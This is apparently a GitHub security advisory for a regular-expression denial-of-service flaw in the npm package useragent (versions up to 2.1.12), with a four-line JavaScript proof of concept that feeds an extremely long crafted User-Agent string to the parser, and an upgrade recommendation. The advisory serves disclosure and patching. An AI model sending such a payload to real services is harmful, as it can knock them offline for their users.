GHSA-pjmx-9xr3-82qrHigh
ReDoS via long UserAgent header in useragent
🔗 CVE IDs covered (1)
📋 Description
Affected versions of useragent are vulnerable to regular expression denial of service when an arbitrarily long User-Agent header is parsed.
Proof of Concept
var useragent = require('useragent');
var badUserAgent = 'MSIE 0.0'+Array(900000).join('0')+'XBLWP';
var request = 'GET / HTTP/1.1\r\nUser-Agent: ' + badUserAgent + '\r\n\r\n';
console.log(useragent.parse(request));
Recommendation
Update to version 2.1.13 or later.
🎯 Affected products1
- npm/useragent:<= 2.1.12